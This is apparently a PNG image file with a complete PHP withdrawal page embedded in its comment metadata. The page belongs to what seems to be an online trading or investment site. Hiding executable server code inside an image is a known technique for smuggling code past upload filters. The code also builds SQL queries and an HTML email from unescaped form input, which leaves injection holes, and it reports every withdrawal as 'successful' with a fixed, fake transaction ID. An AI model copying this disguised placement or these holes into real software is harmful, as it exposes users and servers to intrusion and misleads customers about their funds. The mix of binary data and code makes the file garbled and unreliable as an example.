PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
require_once('includes/connect.php');
require_once('includes/functions.php');
if(isset($_GET['l'])){
logout();
header("location: https://localhost");
}
session_start();
if(!isset($_SESSION['Email'])){
header("location:../../../index.php");
}
$not_info = Getnotificationstatus($_SESSION['Email']);
$not_info = Getnotification($_SESSION['Email']);
$user = GetMember1($_SESSION['Email']);
$history = New_history($user['Email']);
if(!isset($_SESSION['Email'])){
header("location:../../../index.php");
}
$user = GetMember1($_SESSION['Email']);
$history = New_history($user['Email']);
if(isset($_POST["dep"])){
header("location: index.php?dep=dep");
}
if(isset($_POST['withdraw'])){
//CREATE SESSION VARIABLES TO BE USED IN FORM TO AVOID RETYPING IF ERROR OCCURE
$vcode = rand(999999, 111111);
//die($_POST['f']);
$un = $user['full_name'];
$email = $user['Email'];
$type = 'dr';
$dat = date('M/d/Y h:i:sa');
$amt = $_POST['amt'];
$adr= $_POST['adr'];
$dat = date('M/d/Y h:i:sa');
$am = $_POST["amt"];
$p = $user["Profit"];
$c = $user["Capital"];
if ($_POST["m"] == "bank") {
$m = "Bank Account";
$vv = $_POST["anumb"];
} elseif ($_POST["m"] == "bitcoin") {
$m = "Bitcoin Wallet";
$vv = $_POST["ba"];
} elseif ($_POST["m"] == "paypal") {
$m = "Paypal Wallet";
$vv = $_POST["pe"];
} else {
echo "<script>alert('No method selected.');</script>";
}
$longString = 'abcdefghijklmnopqrstuvwxyz1234567890'; // 36 characters
if($_POST["from"] == "capital") {
$vvd = $user["Capital"];
} elseif($_POST["from"] == "profit") {
$vvd = $user["Profit"];
}
if($am > $vvd ){
echo '<script>alert("Insufficient Fund")</script>';
die();
}
$fromm = ($_POST["from"] == "capital") ? "Capital" : "Profit";
$t = ($fromm == "Capital") ? ($c - $am) : ($p - $am);
$dat = date("Y-m-d"); // This will give you the current date in the format: Year-Month-Day (e.g., 2024-04-04)
// Prepare and execute the update query
$sql = sprintf('UPDATE members SET %s = %d WHERE Email = "%s"', $fromm, $t, $_SESSION['Email']);
// Execute the SQL update query
$result = mysqli_query($conn, $sql);
// Check if the update was successful
if ($result) {
// Update successful
// Do whatever you want to do after successful update
} else {
// Update failed
$error_message = mysqli_error($conn);
echo "<script>alert('Update failed: $error_message');</script>";
die(); // STrovespot further execution
}
$sqlr = sprintf("INSERT INTO wid
(uname, email, type, amt, method, adr, date)
VALUES
('%s','%s','%s','%s','%s','%s','%s' )",
$un,
$email,
$type,
$amt,
$m,
$vv,
$dat
);
if(mysqli_query($conn, $sqlr)) {
$mm = $user["Email"];
$email_to = "support@Trovespottradesexpert.org" . "," . $mm; // Send email to multiple recipients separated by a comma
// Send email to our user
$subject = "Withdrawal Notification"; // Give the email a subject
$headers = "From: support@Trovespottradesexpert.org" . "\r\n" .
"Reply-To: support@Trovespottradesexpert.org" . "\r\n" .
"Content-type: text/html; charset=UTF-8" . "\r\n" .
"X-Mailer: PHP/" . phpversion(); // Add X-Mailer header
$message = "
<html>
<head>
<title>Withdrawal Alert</title>
<style>
.body{
background-color: #ffffff;
border-radius: 30px;
width: 350px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
}
.container {
width: 600px;
margin: 50px auto;
padding: 20px;
background-color: #ffffff;
border-radius: 15px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
}
.header {
text-align: center;
font-size: 24px;
font-weight: bold;
color: #000000;
margin-bottom: 20px;
border-radius: 5px;
}
.button {
display: inline-block;
padding: 10px 20px;
border: none;
border-radius: 15px;
font-size: 20px;
box-shadow: 0px 2px 6px rgba(0, 0, 0, 0.3);
cursor: pointer;
text-align: center;
width: 250px;
}
.button:hover {
}
.message {
background-color: #ccc;
border-radius: 15px;
box-shadow: 0px 2px 10px rgba(0, 0, 0, 0.1);
font-size: 16px;
color: #000000;
line-height: 1.4;
margin: 50px auto;
padding: 20px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
text-align: left; /* Align text to start from left */
}
.messager {
background-color: #ccc; /* Slightly darker ash color */
border-radius: 15px;
box-shadow: 0px 2px 10px rgba(0, 0, 0, 0.1);
font-size: 16px;
color: #000000;
line-height: 1.4;
margin: 50px auto;
padding: 20px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
text-align: left; /* Align text to start from left */
}
.logo {
text-align: center;
border-radius: 10px;
margin-bottom: 30px;
}
.logo img {
max-width: 150px;
border-radius: 10px;
}
.content {
margin-bottom: 20px;
border-radius: 10px;
}
.content p {
margin: 0 0 20px;
border-radius: 10px;
}
</style>
</head>
<body class='body'>
<div class='container'>
<div class='messager'>
<div class='logo'>
<div style=' border-radius: 20px;'>
<div class='center'>
<div class='logo'>
<img class='center' src='https://i.pinimg.com/originals/32/b6/f2/32b6f2aeeb2d21c5a29382721cdc67f7.gif' alt='success'>
</div>
</div>
<h1 class='header'>Withdrawal Successful</h1>
<h3> Hello ".$user['full_name']."</h3>
<h3> Withdraw Successful</h3>
<div class='message' >
<h3> Amount: ".$user['sym'] .$_POST['amt']." </h3>
<br>
<h3> Account Name: ".$user['full_name']." </h3>
<br>
<h3> ".$m." : ".$vv." </h3>
<br>
<h3> Transaction ID : Zh".$longString." </h3>
</div>
<hr>
<button class='button'> <a href='https://Trovespottradesexpert.org/en/user/login.php' >Login Account Click Here </a></button>
<div class='logo'>
For more inquiries contact:<br>
Email: support@Trovespottradesexpert.org
</div>
</div>
</div>
</div>
</div>
</body>
</html>
";
if(mail($email_to, $subject, $message, $headers)) {
header("Location: test.php?w=w&amt=" . $_POST["amt"]);
} else {
$error_message = error_get_last()['message']; // Get the error message
echo "<script>alert('Email failed to send: $error_message');</script>"; // Alert the reason
header("Location: test.php?er=error");
}
}
}
?>
<html lang="en">
<body data-background-color="dark">
<div class="wrapper">
<div class="main-panel">
<div class="content">
<div class="page-inner">
<div class="row">
<?php
if (isset($_GET['w']) && isset($_GET['amt'])) {
$amt = htmlspecialchars($_GET['amt'], ENT_QUOTES, 'UTF-8'); // Sanitize input
echo '
<div class="alert">
<div class="alert-content">
<div>
<img class="alert-image" src="https://i.pinimg.com/originals/32/b6/f2/32b6f2aeeb2d21c5a29382721cdc67f7.gif" alt="Withdrawal Request">
</div>
<strong><h2>Withdrawal Request</h2></strong>
<hr>
<p>Your Withdrawal Request Of '.$user['sym'] . $amt . ' was successful. Payment is currently being processed</p>
<button class="dismiss-button" onclick="closeAlert()">OK</button>
</div>
</div>';
} else {
echo " "; // Output an error message when $_GET['w'] or 'amt' is not set.
}
?>
<script>
function closeAlert() {
var alert = document.querySelector('.alert');
alert.style.display = 'none';
}
</script>
<div class="content-body">
<div class="container-fluid">
<div class="row">
<div class="col-xl-12 col-lg-6 col-md-6">
<div id="google_translate_element"></div>
<script type="text/javascript">
function googleTranslateElementInit() {
new google.translate.TranslateElement({pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE}, 'google_translate_element');
}
</script>
<script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
<div class="card profile_card">
<div class="card-body">
<div class="media">
<img class="mr-3 rounded-circle mr-0 mr-sm-3" src="images/profile/<?php echo $user["img"] ; ?>" width="60"
height="60" alt="">
<div class="media-body">
<span>Hello</span>
<h4 class="mb-2"><?php echo $user["Uname"] ; ?> </h4>
<p class="mb-1"> <span><i class="fa fa-phone mr-2 text-primary"></i></span><?php echo $user["phone"] ; ?> </p>
<p class="mb-1"> <span><i class="fa fa-envelope mr-2 text-primary"></i></span>
<?php echo $user["Email"] ; ?>
</p>
</div>
</div>
<ul class="card-profile__info">
</ul>
</div>
</div>
</div>
<div class="col-xl-12 col-lg-6 col-md-12">
<div class="card">
<div class="card-header">
<h4 class="card-title">Withdraw</h4>
</div>
<div class="card-body">
<form method="POST" action="test.php" enctype="multipart/form-data">
<div class="form-group row">
<label for="example-number-input" class="col-12 col-form-label">from</label>
<select name="from" id="from" class="browser-default padded-select form-control col-12">
<option value="profit" > Profit (<?php echo $user["sym"]?><?php echo $user["Profit"]?>)</option>
<option value="capital" >Capital (<?php echo $user["sym"]?><?php echo $user["Capital"]?>)</option>
</select>
</div>
<div class="form-group row">
<label for="example-number-input" class="col-12 col-form-label">Pay Out method</label>
<select name="m" id="paymentMethod" onchange="showPaymentForm()" required="" class="browser-default padded-select form-control col-12">
<option noselected="">Select</option>
<option value="bitcoin" >Bitcoin</option>
<option value="paypal">PayPal</option>
<option value="bank">Bank</option>
</select>
</div>
<div class="form-group row" >
<label for="example-number-input" class="col-12 col-form-label">
<span class="col-12 col-form-label prefix"><?php echo $user["sym"]?></span>
</label>
<div class="col-12">
<input class="form-control" inputmode="decimal" type="number" id="amount" min="" max="" step="any" name="amt" class="" value="" required="">
<span style="color:crimson"></span>
</div>
</div>
<div class="form-group row" id="bankForm" class="paymentForm" style="display: none;">
<div class="input-field">
<input class="form-control" name="bn" type="text" id="bankName" maxlength="300" inputmode="text" value="">
<label class="active" for="bank_name">bank name</label>
</div>
<div class="input-field">
<input class="form-control"type="text" id="accountName" name="aname" maxlength="300" inputmode="text" value="">
<label class="active" for="account_name">account name</label>
</div>
<div class="input-field">
<input class="form-control" type="text" id="accountNumber" name="anumb" maxlength="300" inputmode="text" value="">
<label class="active" for="account_number">account number</label>
</div>
<div class="input-field">
<input class="form-control" type="text" id="routingNumber" name="rnumb" maxlength="300" inputmode="text" value="">
<label class="active" for="routing_number">routing number</label>
</div>
</div>
<div id="paypalForm" class="paymentForm" style="display: none;">
<label for="paypalEmail">PayPal Email:</label>
<input class="form-control" type="email" id="paypalEmail" name="pe">
</div>
<div id="bitcoinForm" class="paymentForm" style="display: none;">
<label for="bitcoinAddress">Bitcoin Address:</label>
<input class="form-control" type="text" id="bitcoinAddress" name="ba" inputmode="text" value="">
</div>
<div id="ethereumForm" class="paymentForm" style="display: none;">
<label for="ethereumAddress">Ethereum Address:</label>
<input class="form-control" maxlength="60" type="text" id="ethereumAddress" name="ea">
</div>
<br>
<div class="form-group row">
<div class="col-12">
<center>
<button name="withdraw" type="submit" class="btn btn-primary btn-block">Withdraw Now</button>
</center>
</div>
</div>
</form>
<script>
function showPaymentForm() {
var paymentMethod = document.getElementById("paymentMethod").value;
var bankForm = document.getElementById("bankForm");
var paypalForm = document.getElementById("paypalForm");
var bitcoinForm = document.getElementById("bitcoinForm");
var ethereumForm = document.getElementById("ethereumForm");
// Hide all forms
bankForm.style.display = "none";
paypalForm.style.display = "none";
bitcoinForm.style.display = "none";
ethereumForm.style.display = "none";
// Show the selected form
if (paymentMethod === "bank") {
bankForm.style.display = "block";
} else if (paymentMethod === "paypal") {
paypalForm.style.display = "block";
} else if (paymentMethod === "bitcoin") {
bitcoinForm.style.display = "block";
} else if (paymentMethod === "ethereum") {
ethereumForm.style.display = "block";
}
}
</script>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="footer">
<div class="container-fluid">
<nav class="pull-left">
</nav>
<div class="copyright ml-auto">
2018, made with love
</div>
</div>
</footer>
</div>
</div>
<!-- Core JS Files -->
<script src="../assets/js/core/jquery.3.2.1.min.js"></script>
<script src="../assets/js/core/popper.min.js"></script>
<script src="../assets/js/core/bootstrap.min.js"></script>
<!-- jQuery UI -->
<script src="../assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
<script src="../assets/js/plugin/jquery-ui-touch-punch/jquery.ui.touch-punch.min.js"></script>
<!-- jQuery Scrollbar -->
<script src="../assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
<!-- Chart JS -->
<script src="../assets/js/plugin/chart.js/chart.min.js"></script>
<!-- jQuery Sparkline -->
<script src="../assets/js/plugin/jquery.sparkline/jquery.sparkline.min.js"></script>
<!-- Chart Circle -->
<script src="../assets/js/plugin/chart-circle/circles.min.js"></script>
<!-- Datatables -->
<script src="../assets/js/plugin/datatables/datatables.min.js"></script>
<!-- Bootstrap Notify -->
<script src="../assets/js/plugin/bootstrap-notify/bootstrap-notify.min.js"></script>
<!-- jQuery Vector Maps -->
<script src="../assets/js/plugin/jqvmap/jquery.vmap.min.js"></script>
<script src="../assets/js/plugin/jqvmap/maps/jquery.vmap.world.js"></script>
<!-- Sweet Alert -->
<script src="../assets/js/plugin/sweetalert/sweetalert.min.js"></script>
<!-- Atlantis JS -->
<script src="../assets/js/atlantis.min.js"></script>
<!-- Atlantis DEMO methods, don't include it in your project! -->
<script>
$('#lineChart').sparkline([102,109,120,99,110,105,115], {
type: 'line',
height: '70',
width: '100%',
lineWidth: '2',
lineColor: 'rgba(255, 255, 255, .5)',
fillColor: 'rgba(255, 255, 255, .15)'
});
$('#lineChart2').sparkline([99,125,122,105,110,124,115], {
type: 'line',
height: '70',
width: '100%',
lineWidth: '2',
lineColor: 'rgba(255, 255, 255, .5)',
fillColor: 'rgba(255, 255, 255, .15)'
});
$('#lineChart3').sparkline([105,103,123,100,95,105,115], {
type: 'line',
height: '70',
width: '100%',
lineWidth: '2',
lineColor: 'rgba(255, 255, 255, .5)',
fillColor: 'rgba(255, 255, 255, .15)'
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E